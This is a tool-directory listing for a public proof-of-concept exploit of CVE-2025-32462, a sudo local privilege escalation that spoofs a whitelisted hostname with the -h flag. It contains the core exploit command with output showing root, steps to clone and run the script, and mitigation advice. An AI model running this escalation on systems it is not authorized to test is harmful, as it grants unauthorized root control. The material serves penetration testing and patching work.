Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/cybersentinelx1/cve-2025-32462-exploit
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubcybersentinelx1/cve-2025-32462-exploit

CVE-2025-32462-Exploit

PoC exploit for CVE-2025-32462, a sudo privilege escalation via hostname spoofing. Demonstrates bypassing hostname-based restrictions to gain root access on vulnerable systems (< 1.9.17).

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
141 year agoNot yet reviewed

CVE-2025-32462-Exploit: Matrix-Sudo Escape

Hostname Spoofing Privilege Escalation (CVE-2025-32462)

"You take the blue pill... the story ends. You take the red pill... you get root."

Description

This exploit demonstrates a privilege escalation vulnerability in sudo (CVE-2025-32462) where hostname-based restrictions can be bypassed using the -h flag. The PoC creates a restricted user environment, then escapes it by spoofing a whitelisted hostname to gain root access.

root@kitploit:~
[user@matrix-node]$ sudo -h zion-core bash  # Spoof whitelisted hostname
[root@matrix-node]# id                          # Got root on wrong hostname!
uid=0(root) gid=0(root) groups=0(root)

Technical Details

  • Vulnerable Sudo Versions: < 1.9.17
  • Attack Vector: Local privilege escalation
  • Key Flaw: Hostname verification bypass via sudo -h parameter
  • Impact: Restricted users can gain root on improperly configured systems

Usage

Clone repository:

root@kitploit:~
git clone https://github.com/cybersentinelx1/CVE-2025-32462-Exploit.git
cd matrix-sudo-escape

Make executable and run:

root@kitploit:~
chmod +x matrix-sudo-escape.sh
./matrix-sudo-escape.sh

Follow interactive prompts to demonstrate:

  • CVE-2025-32462 vulnerability detection
  • User creation
  • Hostname restriction setup
  • Exploit execution
  • Cleanup

Protection

  • ✅ Update sudo to v1.9.17+
  • ✅ Avoid hostname-based sudo restrictions
  • ✅ Use group-based sudo policies instead

Legal

For educational/research purposes only. Use only on systems you own or have permission to test.

Download Tool